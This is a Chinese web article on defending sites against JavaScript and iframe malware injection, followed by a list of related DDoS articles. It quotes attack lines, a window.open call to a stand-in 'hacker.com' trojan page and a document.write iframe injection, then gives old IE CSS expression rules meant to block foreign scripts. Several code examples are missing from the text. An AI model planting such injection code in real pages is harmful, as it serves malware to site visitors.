网站遭受JS与iframe挂马攻击时的全面有效防范措施
这种攻击手法,核心代码实际上只有一行: window open( "http: www hacker com 木马 html ", " ", "toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,
这种攻击手法,核心代码实际上只有一行:
window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
然而,这类代码通常篇幅较长,安全工程师一眼就能识别。缺乏经验的黑客往往喜欢将 width 和 height 参数设为 0,以为这样更隐蔽——但问题在于,设为 0 之后,恶意代码可能根本无法正常执行。
另一种主流的 JS 挂马方式,是将挂马脚本代码 document.write('<Iframe src="网页木马地址" ></iframe>') 先写入 Windows 写字板,另存为后缀为 .js 的脚本文件,并上传至指定网址。随后,黑客只需在受害者的网站中插入以下任意一行代码:
或者:
document.write("")
木马便能成功植入目标网页。
小提示:黑客还会根据实际情况随机变换插入的 JS 挂马手法,例如写成:
或者:
等等……
第一种 JS 挂马方式编写起来较为繁琐,实际使用频率较低。真正主流的,是第二种 JS 挂马方式。因此,防御重点也应聚焦于此。具体方法是通过阻止 src 请求指向异地外域 JS 脚本,防护代码如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过,这种方案存在明显缺陷:网站访问者将无法正常浏览被挂载 JS 木马的相关页面。
为此,我们为安全工程师提供一段可中止 JS 脚本运行的 CSS 代码。该代码会使异地外域的 JS 文件在执行 document.write() 时,被 document.close() 强制关闭。此时,JS 挂马的内容往往尚未完整输出,仅部分内容被强制写入,Writer 之后的内容再也无法进入访问者的电脑,从而有效防范 JS 脚本挂马攻击。
让 JS 木马的进程迅速中止
在 之间加入以下代码:
屏蔽 script 和 iframe:
仅屏蔽 script:
上述代码经过测试,其判断逻辑依赖于检测 http 字符串——但绝大多数正常 JS 脚本的路径都包含域名,例如 http://img.jb51.net/1.js,同样会被误拦截。因此,这段代码存在一定局限性,需要根据实际场景进行调整。
例如,如果你的网站所有 JS 脚本均来自固定域名 img.jb51.net,则可将判断条件修改为针对该域名:
script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');}
此时,你的所有 JS 脚本都必须使用包含 http://img.jb51.net 的完整路径。如果你有更优的方案,欢迎分享。下面提供一个更为灵活的多重判断版本:
script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
1
2
3
4
5
6
7
8
9
10
1
2
3
4
5
6
7
8
9
10
1
2
3
4
5
6
7
8
9
10
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

